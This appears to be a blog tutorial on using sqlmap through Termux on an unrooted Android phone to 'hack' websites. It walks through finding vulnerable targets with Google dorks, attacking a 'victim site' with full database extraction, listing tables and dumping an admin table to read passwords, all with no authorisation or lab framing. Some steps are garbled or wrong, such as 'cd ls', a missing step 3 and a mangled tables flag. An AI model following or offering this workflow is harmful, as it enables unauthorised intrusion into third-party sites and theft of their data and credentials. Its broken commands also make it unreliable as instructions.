How to hack a website using Android(without rooting) !



1]TERMUX (Available on playstore)

2] SQL MAP ( https://github.com/sqlmapproject/sqlmap/archive/master.zip )





1] First install all apps from the above links and run them at least once. Download the sqlmap zip file and extract it in sdcard and change its name.

2] After that open Termux and run given command.

apt update && apt upgrade


pkg install python2

This command will install Python in your termux. It asks you to install Python. Enter y for installing python2 in your termux.

4] All set! You just need to findsqlmap.py script in your phone. In order to achieve this, navigate using cd. First you need to access root folder, so first run :cd /

Then type & hit

cd sdcard

cd ls

5] It will show all contained files. Now you need to find **sqlmap-master** (extracted folder).
cd sqlmap-master

cd sqlmap-master

6] Enter sqlmap-master (above command) two times.

7] If you already changed the name of **sqlmap-master** to **sqlmap** then you can run,
cd sqlmap

cd sqlmap-master

8] You can take help of **ls** command to list down all files on that location.

9] Navigate to the **sqlmap-master** folder where the **sqlmap.py** is stored. Now to run the sqlmap you need following command :

python2 sqlmap.py

10] If you see this red color sqlmap then relax yourself! You are done with the installation of sqlmap. Now next step is hacking the website using sqlmap. You need to find a website with SQL vulnerability. For this, use sqlmap google dork to find websites.

11] If you are using google dork then type the following:
python2 sqlmap.py -g your_keyword

12] If you want to use direct URL then :
python2 sqlmap.py -u your_url

13] You can refer sqlmap official site for help or just type **python2 sqlmap.py -h** for Basic help & **python2 sqlmap.py -hh** for Advanced help.

14] If you want to hack entire site with all database and tables just append **-a** to the either of the commands
python2 sqlmap.py -g your_keyword or

python2 sqlmap.py -u your_url

15] In google dork method, it will give you three option :
(a) Yes for attacking first site, which comes in result. For proceeding further, you need to type y. (b) For skipping to the next target you can use **n** (c)For quitting, use **q**


16] After that it will start attack on the victim site. Wait until it completes. It may prompt you with the following question, so just simply hit **y**

17] After that it will show you several tables and other data that it hacked. Don’t worry, you can view it in log when process is done.

18] Now if you want to see all the tables, you need to run following command :
python2 sqlmap.py -u url –tables

19] It will return all tables name that are already hacked by sqlmap. Now choose the table you want to view by simply entering the following command. In my case I want to view the admin table. To view password, I run
python2 sqlmap.py -u url -T your_table name

20] This command will save your table data and log file in root folder which is not accessible to normal non rooted phone but no worry we have solution this terminal can access so we are going to copy this file to your internal storage for view it with non rooted phone also
cp source //sdcard

21] Just replace the source with source given by terminal in above command it will omit the dump file but don’t worry we don’t need it now navigate to the file using your inbuilt file manager or use ES file manager


Leave a Reply

Your email address will not be published. Required fields are marked *